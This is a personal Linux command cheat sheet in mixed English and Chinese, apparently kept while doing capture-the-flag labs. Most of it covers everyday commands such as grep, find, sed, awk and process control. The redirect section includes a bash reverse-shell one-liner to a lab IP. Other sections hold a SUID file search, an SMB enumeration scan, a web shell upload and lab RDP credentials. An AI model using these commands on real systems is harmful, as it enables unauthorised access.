---
# System prepended metadata

title: Linux
tags: [linux]

---

# Linux

###### tags: `linux`

[TOC]


[Linux](/te0qHDEIRI-yirXZXJuhhg)

[DashFilename](/8vgxvFLzQmanpw6QLrdj6A)

[Reference space with filename in Linux](/n9rp10KmTmy23EWoNcyVVA)



---
# Cmd Cheat Sheet 


## Show 

```
lsb_release -a
```


## grep 


```
grep "search string" /path/to/search
```

```
grep -rni "example" /home/user/Documents
```

```
grep -rni "aubreanna" / 2>/dev/null
```

-r recursive 
-n 
-i ignore 大小寫




## cut 

sample 
```
cat /etc/passwd | cut --delimiter=":" --fields=1
```


## tr (translate)

```
echo "10.10.57.11:25 Users found: , _apt, administrator, backup, bin, daemon, dnsmasq, games, gnats, irc, landscape, list, lp, lxd, mail, man, messagebus, news, nobody, pollinate, postfix, postmaster, proxy, sshd, sync, sys, syslog, systemd-network, systemd-resolve, systemd-timesync, uucp, uuidd, www-data" | tr ',' '\n' >> mailUser
```

## cat 

```
cat > meow.txt 
meow
meow
```
out put -> meow.txt
meow
meow

```
cat > meow.txt << EOF
heredoc> meow                                      
heredoc> meow    
heredoc> EOF  //EOF -> end of the file

```

meow
meow
## locate 

locate-> 感覺比較好找XD

```
locate -b meowhecker
```

## find 

```
find / -type f -perm -04000 -ls 2>/dev/null

```

---

```
find . -name flag1.txt             : find the file named “flag1.txt” in the current directory
find /home -name flag1.txt  : find the file names “flag1.txt” in the /home directory
find / -type d -name config   : find the directory named config under “/”
find / -type f -perm 0777      : find files with the 777 permissions (files readable, writable, and executable by all users)
find / -perm a=x                     : find executable files
find /home -user frank         : find all files for user “frank” under “/home”
find / -mtime 10                    : find files that were modified in the last 10 days
find / -atime 10                     : find files that were accessed in the last 10 day
find / -cmin -60                     : find files changed within the last hour (60 minutes)
find / -amin -60                     : find files accesses within the last hour (60 minutes)
find / -size 50M                     : find files with a 50 MB size

```


## sed 

```
sed -n '45000,50000p' wordlists/rockyou.txt >> meow

```

## awk

顯示特定 column 
```
cat tcp.txt | grep Mbits | head -n 10 | tr "-" " " | awk '{print $4,$8}'
```
column 4 and 8



## sqlite

Access DB
```
sqlite3 webapp.db
```

## iptables 



Show iptables 
```
iptables -L -n
```




## sqlite3

Show tables 

```
.tables
```

Show columns

```
PRAGMA table_info(users);
```


## Version cmd

```
uname -r
cat proc/version
```

![](https://i.imgur.com/9arZSHu.png)



---



## Run Apache server 


```bash
#!/bin/bash
service apache2 start
```


## Stop apache server 
```bash
#!/bin/bash
service apache2 stop
```


## To start the MySQL service in Kali Linux

```bash
#!/bin/bash
service mysql start
sudo mysql -u root
```

![](https://i.imgur.com/0Imtk6d.png)



## Stop Mysql 
```
#!/bin/bash
service mysql stop 
```

---


# Redirect 


## >&

& -> 重定向輸出（stdout）和錯誤輸出（stderr），將 stdout 和 stderr 輸出重定向到同一個地方。


## Sample 

test sh
```
echo meowhecker
```


![](https://i.imgur.com/Dj15LMV.png)




## 0>&1

將 stdin 重定向到 stdout。

![](https://i.imgur.com/TeacOGj.png)


Bash shell

```
Bash -i >& /dev/tcp/10.10.10.1/6666 0>&1
```

## PDR login 

```

xfreerdp /dynamic-resolution +clipboard /cert:ignore /v:10.10.243.73 /u:'THM\Administrator' /p:'Password321'

```


## 解析度
https://clay-atlas.com/blog/2020/10/23/linux-cn-xrandr-adjust-resolution-screen-settings/
```
xrandr --output Virtual1 --mode 1280x1024
```


## ＄PATH


local -> Current terminal 
```
export PATH=$PATH:"binary file"
export PATH="binary file":$PATH
```

global 

```
vim ./bashrc
```


# Process 

## suspend (running in the back ground )

```
ctrl+Z

& <command>
```

## resume 

```
fg <jobs name >
```

## kill the process 

```
kill -9 <PID>
```

# Network 


## Check TCP Socket 


### netstat

list, TCP, Process 

```
netstat -ltp
```


### ssh 


```
ss -tulpn
```
-t：顯示連接的 TCP 連線。
-u：顯示連接的 UDP 連線。
-l：顯示連接的狀態是 listen。
-p：顯示連接的進程 ID。
-n：不進行域名解析，輸出數字 IP 地址。




## SMB command

```
nmap -p 445 --script=smb-enum-shares.nse,smb-enum-users.nse 10.10.82.161
```

Specific User login 
```
smbclient //10.10.82.161/milesdyson -U <username>
```

upload the file 

```
put webShell.aspx
```


## DF 

```
DF -h
```



